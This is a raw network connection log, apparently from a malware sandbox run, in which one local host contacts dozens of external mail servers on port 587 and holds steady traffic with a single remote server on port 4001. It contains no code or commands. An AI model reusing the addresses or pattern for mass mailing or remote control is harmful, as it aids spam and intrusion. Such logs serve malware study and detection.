May 19, 2024 17:27:49.193070889 CEST	49849	587	192.168.2.4	107.180.41.245
May 19, 2024 17:27:49.193789959 CEST	587	49989	40.99.157.50	192.168.2.4
May 19, 2024 17:27:49.194688082 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.216772079 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.216950893 CEST	49955	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:49.217031956 CEST	49828	587	192.168.2.4	46.255.231.70
May 19, 2024 17:27:49.217108965 CEST	49951	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:49.217189074 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:27:49.217262983 CEST	49887	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:49.222997904 CEST	587	49830	194.153.145.104	192.168.2.4
May 19, 2024 17:27:49.223064899 CEST	49830	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:49.223141909 CEST	49830	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:49.223288059 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.227881908 CEST	587	49831	142.93.237.125	192.168.2.4
May 19, 2024 17:27:49.227989912 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.233006001 CEST	587	49955	41.193.157.227	192.168.2.4
May 19, 2024 17:27:49.233109951 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:49.233140945 CEST	587	49951	84.116.6.22	192.168.2.4
May 19, 2024 17:27:49.233170986 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:27:49.233200073 CEST	587	49887	213.209.1.145	192.168.2.4
May 19, 2024 17:27:49.234698057 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.234698057 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.237750053 CEST	587	49830	194.153.145.104	192.168.2.4
May 19, 2024 17:27:49.237797976 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.237829924 CEST	587	49932	194.19.134.66	192.168.2.4
May 19, 2024 17:27:49.238065004 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.239833117 CEST	49989	587	192.168.2.4	40.99.157.50
May 19, 2024 17:27:49.242671013 CEST	587	49930	84.116.6.22	192.168.2.4
May 19, 2024 17:27:49.242806911 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.242806911 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.244510889 CEST	587	49930	84.116.6.22	192.168.2.4
May 19, 2024 17:27:49.244569063 CEST	49930	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:49.244735003 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.244735003 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.248224974 CEST	587	49930	84.116.6.22	192.168.2.4
May 19, 2024 17:27:49.248509884 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.253024101 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.253068924 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.258042097 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.271109104 CEST	49831	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:49.276535988 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.277065992 CEST	50002	587	192.168.2.4	103.82.242.210
May 19, 2024 17:27:49.282561064 CEST	587	50002	103.82.242.210	192.168.2.4
May 19, 2024 17:27:49.282643080 CEST	50002	587	192.168.2.4	103.82.242.210
May 19, 2024 17:27:49.282886982 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.286742926 CEST	49932	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:49.292624950 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.292624950 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.302469969 CEST	49930	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:49.328964949 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.329350948 CEST	49940	587	192.168.2.4	157.7.144.20
May 19, 2024 17:27:49.329366922 CEST	49961	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:49.329701900 CEST	49948	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:49.330087900 CEST	50003	587	192.168.2.4	3.125.131.179
May 19, 2024 17:27:49.330287933 CEST	50004	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:49.333719969 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:49.334422112 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.338548899 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.345351934 CEST	587	49940	157.7.144.20	192.168.2.4
May 19, 2024 17:27:49.345402002 CEST	587	49961	41.193.157.227	192.168.2.4
May 19, 2024 17:27:49.345433950 CEST	587	49948	182.248.170.226	192.168.2.4
May 19, 2024 17:27:49.345468044 CEST	587	50003	3.125.131.179	192.168.2.4
May 19, 2024 17:27:49.345498085 CEST	587	50004	104.22.65.144	192.168.2.4
May 19, 2024 17:27:49.345526934 CEST	50003	587	192.168.2.4	3.125.131.179
May 19, 2024 17:27:49.345566034 CEST	50004	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:49.345750093 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.345750093 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.380599976 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:49.386636019 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.394236088 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.429657936 CEST	587	49951	84.116.6.22	192.168.2.4
May 19, 2024 17:27:49.429712057 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:49.430391073 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.430392027 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.434535980 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.434596062 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.434628010 CEST	587	49887	213.209.1.145	192.168.2.4
May 19, 2024 17:27:49.434736013 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.434736967 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.434752941 CEST	49889	587	192.168.2.4	162.241.225.12
May 19, 2024 17:27:49.434832096 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:27:49.434850931 CEST	49882	587	192.168.2.4	195.121.65.26
May 19, 2024 17:27:49.434938908 CEST	49901	587	192.168.2.4	103.224.30.254
May 19, 2024 17:27:49.435168982 CEST	49883	587	192.168.2.4	103.152.248.23
May 19, 2024 17:27:49.435244083 CEST	49933	587	192.168.2.4	64.91.253.60
May 19, 2024 17:27:49.435244083 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.435244083 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.435244083 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.438180923 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:27:49.438242912 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:27:49.438303947 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.438304901 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.441840887 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:27:49.441940069 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.443660975 CEST	49973	587	192.168.2.4	92.42.36.37
May 19, 2024 17:27:49.443685055 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.446702957 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.446751118 CEST	587	49889	162.241.225.12	192.168.2.4
May 19, 2024 17:27:49.446782112 CEST	587	49882	195.121.65.26	192.168.2.4
May 19, 2024 17:27:49.446810961 CEST	587	49901	103.224.30.254	192.168.2.4
May 19, 2024 17:27:49.446841002 CEST	587	49883	103.152.248.23	192.168.2.4
May 19, 2024 17:27:49.446870089 CEST	587	49933	64.91.253.60	192.168.2.4
May 19, 2024 17:27:49.446897984 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.451725006 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.474342108 CEST	49828	587	192.168.2.4	46.255.231.70
May 19, 2024 17:27:49.474442959 CEST	49951	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:49.479965925 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.480019093 CEST	587	49973	92.42.36.37	192.168.2.4
May 19, 2024 17:27:49.480259895 CEST	49973	587	192.168.2.4	92.42.36.37
May 19, 2024 17:27:49.480880022 CEST	50005	587	192.168.2.4	47.43.18.10
May 19, 2024 17:27:49.489877939 CEST	49887	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:49.489973068 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:27:49.490964890 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.490964890 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.494750977 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.499774933 CEST	587	50005	47.43.18.10	192.168.2.4
May 19, 2024 17:27:49.500045061 CEST	50005	587	192.168.2.4	47.43.18.10
May 19, 2024 17:27:49.500170946 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.505244017 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.510190010 CEST	587	49982	142.93.237.125	192.168.2.4
May 19, 2024 17:27:49.510318995 CEST	49982	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:49.510371923 CEST	49982	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:49.510432959 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.515244007 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.520313025 CEST	587	49994	65.20.63.172	192.168.2.4
May 19, 2024 17:27:49.520607948 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.525815010 CEST	587	49982	142.93.237.125	192.168.2.4
May 19, 2024 17:27:49.525856018 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.568160057 CEST	49994	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:49.571702957 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.571758986 CEST	587	49984	84.116.6.19	192.168.2.4
May 19, 2024 17:27:49.571790934 CEST	587	49984	84.116.6.19	192.168.2.4
May 19, 2024 17:27:49.571819067 CEST	587	49984	84.116.6.19	192.168.2.4
May 19, 2024 17:27:49.571847916 CEST	587	49955	41.193.157.227	192.168.2.4
May 19, 2024 17:27:49.571954966 CEST	49984	587	192.168.2.4	84.116.6.19
May 19, 2024 17:27:49.571954966 CEST	49984	587	192.168.2.4	84.116.6.19
May 19, 2024 17:27:49.572038889 CEST	49984	587	192.168.2.4	84.116.6.19
May 19, 2024 17:27:49.572091103 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.572091103 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.572092056 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.573549032 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.573723078 CEST	49764	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:49.573774099 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:49.574069977 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:49.574282885 CEST	587	49933	64.91.253.60	192.168.2.4
May 19, 2024 17:27:49.574440002 CEST	49837	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:49.574440002 CEST	49974	587	192.168.2.4	194.181.93.175
May 19, 2024 17:27:49.574516058 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.574516058 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.574671984 CEST	49832	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:49.574737072 CEST	49765	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:49.574819088 CEST	49864	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:49.575130939 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.575130939 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.575740099 CEST	587	49933	64.91.253.60	192.168.2.4
May 19, 2024 17:27:49.575865030 CEST	49933	587	192.168.2.4	64.91.253.60
May 19, 2024 17:27:49.575903893 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.575903893 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.577905893 CEST	587	49933	64.91.253.60	192.168.2.4
May 19, 2024 17:27:49.577992916 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.577992916 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.580251932 CEST	587	49933	64.91.253.60	192.168.2.4
May 19, 2024 17:27:49.580312014 CEST	49933	587	192.168.2.4	64.91.253.60
May 19, 2024 17:27:49.580353022 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.585335016 CEST	587	49984	84.116.6.19	192.168.2.4
May 19, 2024 17:27:49.585367918 CEST	587	49764	64.136.52.44	192.168.2.4
May 19, 2024 17:27:49.585381031 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:49.585392952 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:27:49.585405111 CEST	587	49837	213.209.1.145	192.168.2.4
May 19, 2024 17:27:49.585416079 CEST	587	49974	194.181.93.175	192.168.2.4
May 19, 2024 17:27:49.585427999 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.585438967 CEST	587	49832	64.59.136.142	192.168.2.4
May 19, 2024 17:27:49.585468054 CEST	587	49765	64.136.52.44	192.168.2.4
May 19, 2024 17:27:49.585496902 CEST	587	49864	84.2.43.67	192.168.2.4
May 19, 2024 17:27:49.585525036 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.590432882 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.590488911 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.614900112 CEST	49955	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:49.620229959 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.620287895 CEST	587	49841	18.238.243.78	192.168.2.4
May 19, 2024 17:27:49.620318890 CEST	587	49889	162.241.225.12	192.168.2.4
May 19, 2024 17:27:49.620359898 CEST	587	49940	157.7.144.20	192.168.2.4
May 19, 2024 17:27:49.620376110 CEST	49841	587	192.168.2.4	18.238.243.78
May 19, 2024 17:27:49.620404959 CEST	587	49948	182.248.170.226	192.168.2.4
May 19, 2024 17:27:49.620419979 CEST	49841	587	192.168.2.4	18.238.243.78
May 19, 2024 17:27:49.620436907 CEST	587	49997	66.133.129.10	192.168.2.4
May 19, 2024 17:27:49.620573997 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.620573997 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.620574951 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.620665073 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.620665073 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.638432980 CEST	587	49882	195.121.65.26	192.168.2.4
May 19, 2024 17:27:49.638853073 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.638854027 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.639190912 CEST	587	49882	195.121.65.26	192.168.2.4
May 19, 2024 17:27:49.639262915 CEST	49882	587	192.168.2.4	195.121.65.26
May 19, 2024 17:27:49.639417887 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.639417887 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.640568972 CEST	587	49882	195.121.65.26	192.168.2.4
May 19, 2024 17:27:49.640729904 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.640729904 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.643074989 CEST	587	49882	195.121.65.26	192.168.2.4
May 19, 2024 17:27:49.643131971 CEST	49882	587	192.168.2.4	195.121.65.26
May 19, 2024 17:27:49.643163919 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.648189068 CEST	587	49841	18.238.243.78	192.168.2.4
May 19, 2024 17:27:49.648220062 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.648248911 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.648278952 CEST	587	49844	199.85.66.2	192.168.2.4
May 19, 2024 17:27:49.648307085 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.648334980 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.648366928 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.648396015 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.648432016 CEST	49844	587	192.168.2.4	199.85.66.2
May 19, 2024 17:27:49.648432016 CEST	49844	587	192.168.2.4	199.85.66.2
May 19, 2024 17:27:49.648577929 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.653156996 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.653203964 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.658173084 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.661725044 CEST	49940	587	192.168.2.4	157.7.144.20
May 19, 2024 17:27:49.661725044 CEST	49948	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:49.661813021 CEST	49889	587	192.168.2.4	162.241.225.12
May 19, 2024 17:27:49.666352987 CEST	49997	587	192.168.2.4	66.133.129.10
May 19, 2024 17:27:49.667090893 CEST	587	49844	199.85.66.2	192.168.2.4
May 19, 2024 17:27:49.667144060 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.671879053 CEST	587	49933	64.91.253.60	192.168.2.4
May 19, 2024 17:27:49.672125101 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.677397966 CEST	587	49961	41.193.157.227	192.168.2.4
May 19, 2024 17:27:49.678222895 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.683542967 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.724247932 CEST	49933	587	192.168.2.4	64.91.253.60
May 19, 2024 17:27:49.724361897 CEST	49961	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:49.729716063 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.729768038 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.729803085 CEST	587	49845	104.22.65.144	192.168.2.4
May 19, 2024 17:27:49.729832888 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:49.729862928 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:27:49.729876041 CEST	49845	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:49.729911089 CEST	49845	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:49.730019093 CEST	49903	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:49.730067015 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.730081081 CEST	49935	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:49.730166912 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.730221987 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.730344057 CEST	49959	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:49.730791092 CEST	50006	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:49.734350920 CEST	587	49882	195.121.65.26	192.168.2.4
May 19, 2024 17:27:49.734616041 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.739694118 CEST	587	49845	104.22.65.144	192.168.2.4
May 19, 2024 17:27:49.744510889 CEST	587	49903	194.19.134.66	192.168.2.4
May 19, 2024 17:27:49.744563103 CEST	587	49935	213.209.1.145	192.168.2.4
May 19, 2024 17:27:49.744591951 CEST	587	49959	193.122.179.25	192.168.2.4
May 19, 2024 17:27:49.744626045 CEST	587	50006	194.153.145.104	192.168.2.4
May 19, 2024 17:27:49.744654894 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.744688988 CEST	50006	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:49.744761944 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.754635096 CEST	50007	587	192.168.2.4	164.90.197.79
May 19, 2024 17:27:49.762176037 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.769885063 CEST	587	50007	164.90.197.79	192.168.2.4
May 19, 2024 17:27:49.770035028 CEST	50007	587	192.168.2.4	164.90.197.79
May 19, 2024 17:27:49.770251036 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.775768995 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:49.775787115 CEST	49882	587	192.168.2.4	195.121.65.26
May 19, 2024 17:27:49.775847912 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:49.778414011 CEST	587	49883	103.152.248.23	192.168.2.4
May 19, 2024 17:27:49.778651953 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.778651953 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.780698061 CEST	587	49883	103.152.248.23	192.168.2.4
May 19, 2024 17:27:49.780777931 CEST	49883	587	192.168.2.4	103.152.248.23
May 19, 2024 17:27:49.780910015 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.786222935 CEST	587	49883	103.152.248.23	192.168.2.4
May 19, 2024 17:27:49.786286116 CEST	587	49883	103.152.248.23	192.168.2.4
May 19, 2024 17:27:49.786335945 CEST	49883	587	192.168.2.4	103.152.248.23
May 19, 2024 17:27:49.786494017 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.791984081 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.792038918 CEST	587	49864	84.2.43.67	192.168.2.4
May 19, 2024 17:27:49.792210102 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.796905994 CEST	587	49974	194.181.93.175	192.168.2.4
May 19, 2024 17:27:49.796958923 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.796992064 CEST	587	49837	213.209.1.145	192.168.2.4
May 19, 2024 17:27:49.797142982 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.797142982 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.802084923 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.807996988 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.833638906 CEST	49864	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:49.840434074 CEST	587	49832	64.59.136.142	192.168.2.4
May 19, 2024 17:27:49.840550900 CEST	587	49853	99.83.253.192	192.168.2.4
May 19, 2024 17:27:49.840583086 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.840728998 CEST	49853	587	192.168.2.4	99.83.253.192
May 19, 2024 17:27:49.840729952 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.840729952 CEST	49853	587	192.168.2.4	99.83.253.192
May 19, 2024 17:27:49.840729952 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.843275070 CEST	50008	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:49.843950987 CEST	50009	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:49.845480919 CEST	587	49959	193.122.179.25	192.168.2.4
May 19, 2024 17:27:49.845504045 CEST	50010	587	192.168.2.4	199.85.66.2
May 19, 2024 17:27:49.845578909 CEST	587	49901	103.224.30.254	192.168.2.4
May 19, 2024 17:27:49.845827103 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.845827103 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.845827103 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.847448111 CEST	587	49901	103.224.30.254	192.168.2.4
May 19, 2024 17:27:49.847537994 CEST	49901	587	192.168.2.4	103.224.30.254
May 19, 2024 17:27:49.847578049 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.849323988 CEST	49837	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:49.849324942 CEST	49974	587	192.168.2.4	194.181.93.175
May 19, 2024 17:27:49.854372978 CEST	587	49853	99.83.253.192	192.168.2.4
May 19, 2024 17:27:49.854429960 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.854465008 CEST	587	50008	104.18.2.81	192.168.2.4
May 19, 2024 17:27:49.854496002 CEST	587	50009	120.50.131.112	192.168.2.4
May 19, 2024 17:27:49.854525089 CEST	587	50010	199.85.66.2	192.168.2.4
May 19, 2024 17:27:49.854530096 CEST	50008	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:49.854573011 CEST	50009	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:49.854712009 CEST	50010	587	192.168.2.4	199.85.66.2
May 19, 2024 17:27:49.854712009 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.854803085 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.854846001 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.859297991 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.859931946 CEST	50011	587	192.168.2.4	164.90.203.106
May 19, 2024 17:27:49.864088058 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.869131088 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.869733095 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.869734049 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.875108004 CEST	587	50011	164.90.203.106	192.168.2.4
May 19, 2024 17:27:49.875161886 CEST	587	49883	103.152.248.23	192.168.2.4
May 19, 2024 17:27:49.875344038 CEST	50011	587	192.168.2.4	164.90.203.106
May 19, 2024 17:27:49.875449896 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.875449896 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.880095005 CEST	587	49998	182.248.170.226	192.168.2.4
May 19, 2024 17:27:49.880244970 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.884860039 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.887100935 CEST	49959	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:49.889743090 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.889851093 CEST	587	49983	120.50.131.112	192.168.2.4
May 19, 2024 17:27:49.889885902 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.889914989 CEST	49983	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:49.889988899 CEST	49983	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:49.890044928 CEST	49812	587	192.168.2.4	193.70.18.144
May 19, 2024 17:27:49.890068054 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.890120029 CEST	49843	587	192.168.2.4	84.116.6.19
May 19, 2024 17:27:49.890204906 CEST	49931	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:49.890273094 CEST	49915	587	192.168.2.4	35.214.122.161
May 19, 2024 17:27:49.890362024 CEST	49778	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:49.890445948 CEST	49806	587	192.168.2.4	91.209.104.155
May 19, 2024 17:27:49.890535116 CEST	49907	587	192.168.2.4	46.227.176.12
May 19, 2024 17:27:49.890571117 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.895878077 CEST	587	49983	120.50.131.112	192.168.2.4
